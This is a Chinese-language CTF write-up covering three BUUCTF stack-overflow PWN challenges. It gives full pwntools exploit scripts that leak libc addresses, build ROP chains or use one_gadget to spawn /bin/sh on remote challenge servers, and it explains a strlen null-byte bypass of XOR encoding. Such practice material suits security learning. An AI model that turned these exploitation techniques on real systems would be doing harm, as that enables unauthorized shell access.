  • 在CTF中,設想終究是設限,幹,動态調試才知道真正每一步該如何走。

0x02 EXP

EXP前置知識

  1. LD_PRELOAD

    的鍵值設定為本地libc位址,可自定義程式啟動的libc版本
  2. one_gadget 擷取程式段内的gadget片段位址
  3. 小端序在接收後,如果需要填充指定位,\x00在位元組尾部填充
    1. 如果是x64(僅僅接收了6位元組小端序,作填充:

      \xx\xx\xx\xx\xx\x7f\x00\x00

整體思路:

  1. 通過棧溢出構造輸出洩露libc位址
  2. 用Libsearcher查找具體libc的版本,然後重新構造ROP棧溢出使程式調用libc内的system以getshell
#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/bjdctf_2020_babyrop"
if  isLocal:
    p=process(filename,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"})#

    pause()
else :
    p=remote("node4.buuoj.cn",29054)

elf=ELF(filename)
#libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

pop_rdi=0x0000000000400733 #: pop rdi ; ret

puts_plt = elf.plt['puts']
main_got = elf.got['read']
main_addr = elf.sym['main']


#洩露libc
payload = 'a'.encode() * (0x20 + 8) + p64(pop_rdi)+p64(main_got) +p64(puts_plt) + p64(main_addr) #re jmp to main
p.sendlineafter(b'Pull up your sword and tell me u story!\n',payload)

read_addr=u64(p.recv(6).ljust(8,b"\x00"))#0 padding (right padding 0) !!!! 

##  little pad \xx\xx\xx\xx\xx\x7f\x00\x00

#seacher搜尋libc,getshell
print(b"leadaddr:"+str(read_addr).encode())

libc = LibcSearcher('read', read_addr)
#ubuntu 18.04 libc:2.27 (7)
#flag{4a861532-2de7-457d-a5a3-bd5939d59608}
libc_base = read_addr -  libc.dump('read')

print("base:"+hex(libc_base))
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

payload1 = 'a'.encode() * (0x20 + 8) + p64(pop_rdi)+p64(str_bin_sh)+ p64(system_addr)+ p64(main_addr) ##  run main

p.sendline(payload1)
p.interactive()

##  ubuntu 16 : libc2.23
           

鐵人三項(第五賽區)2018_rop

0x00 題目描述

rop…ropp

0x01 題目分析

拖進IDA,看到main

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

很明顯read會造成棧溢出。于是就開始動手吧~

0x02 exp

整體思路:

  1. 構造棧溢出洩露libc
  2. getshell
    1. one_gadget
    2. system調用

這邊要注意的是,如果Libcsearcher無法通過遠端,可以通過本地,可以去BUUCTF官網下載下傳一下題目指定的libc,不同電腦的libcsearcher不一定收錄了題目環境的libc.

LIBC下載下傳位址:https://buuoj.cn/resources

題目環境:#ubuntu 18.04 libc:2.27 (7)

#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context.arch="i386"

isLocal=0

if  isLocal:
    p=process("/root/2018_rop")#
    pause()
else :
    p=remote("node4.buuoj.cn",28200)

elf=ELF('/root/2018_rop')

write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = elf.sym['main']
payload = 'a'.encode() * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
p.sendline(payload)
read_addr = u32(p.recv())
libc = LibcSearcher('read', read_addr)

libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
payload1 = 'a'.encode() * (0x88 + 4) + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)
p.sendline(payload1)
p.interactive()




           

ciscn_2019_c_1

0x00 題目簡介

CISCN:全國大學生資訊安全競賽

0x01 程式分析

IDA拖進看程式

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

基本的詢問,輸入1會進入一個encrypt的函數

進入encrypt函數

2021-08-30 BUUCTF刷題記錄PWN2021-08-30 BUUCTF刷題記錄

大概分析

  1. gets會造成棧溢出
  2. 裡面是有對輸入的字元串進行xor加密。

怎麼辦呢?

或許你可以選擇将自己構造的溢出payload xor加密後,再上傳。

但是最終我們的目标是getshell,這邊還有一個漏洞知識

  • strlen遇到

    \x00

    會截斷

也就是說,我們gets第一個字元串寫

\x00

,後面填溢出payload,strlen(buf)是為0的

是以,我這裡直接利用了strlen截斷的方式繞過xor。後面,你就可以大膽的通過溢出幹事了。。

0x02 exp

  • _start

    是調用

    main

    的函數(構造多重rop時注意修複棧内的傳回位址,防止崩潰)

    整體思路:

  1. 通過棧溢出洩露gets位址,然後計算libc基位址
  2. 用one_gadget去getshell
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/ciscn_2019_c_1"
p = remote("node4.buuoj.cn",29324)
p.sendlineafter(b'choice!',b'1')

elf=ELF(name)
puts_plt=elf.plt['puts']
pop_rdi=0x0000000000400c83 #: pop rdi ; ret
gets_got=elf.got['gets']
start_=elf.sym['_start']

#洩露libc
payload=b'\x00'+b'a'*(0x50-1+8)+p64(pop_rdi)+p64(gets_got)+p64(puts_plt)+p64(start_)
p.sendlineafter("d\n",payload)
p.recvuntil(b"Ciphertext\n\n")



#getshell
gets_got=u64(p.recv(6).ljust(8,b'\x00'))
libc=ELF("./x64/libc-2.27_buuctf.so")
libc_base=gets_got-libc.sym['gets']

one_gadget=0x4f322+libc_base

payload=b'\x00'+b'a'*(0x50-1+8)+p64(one_gadget)+p64(start_)
p.sendlineafter(b'choice!',b'1')
p.sendlineafter("d\n",payload)


p.interactive() 


"""libc2.27
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

"""

           

基礎知識

top指令 檢視主要程序資訊

vscode中
Ctrl+F5 快速運作代碼

sudo apt remove xx 删除軟體

如何打包一個檔案夾為壓縮包?
tar -cvf 壓縮包名 檔案夾

新方法checksec
pwn checksec /root/2019_OPPO*

經驗,要使用Libcsearcher
搜尋後先把dump,使用對象的函數寫上,否則搜尋不輸出

ls - alh 輸出詳細的目錄清單

更快的 attach辦法(第二):
程式内部pause(),記錄Pid,去終端程式輸入gdb 然後attach pid

python

global 變量名(可聲明全局變量)

在gdb用x/查詢位址時 用精确16進制位址才可偏移
x/100xb 檢視100個位元組的記憶體

alarm如何過掉?(逾時報警)
到alarm函數改rdi 就是時間

分屏先用tmux指令啟動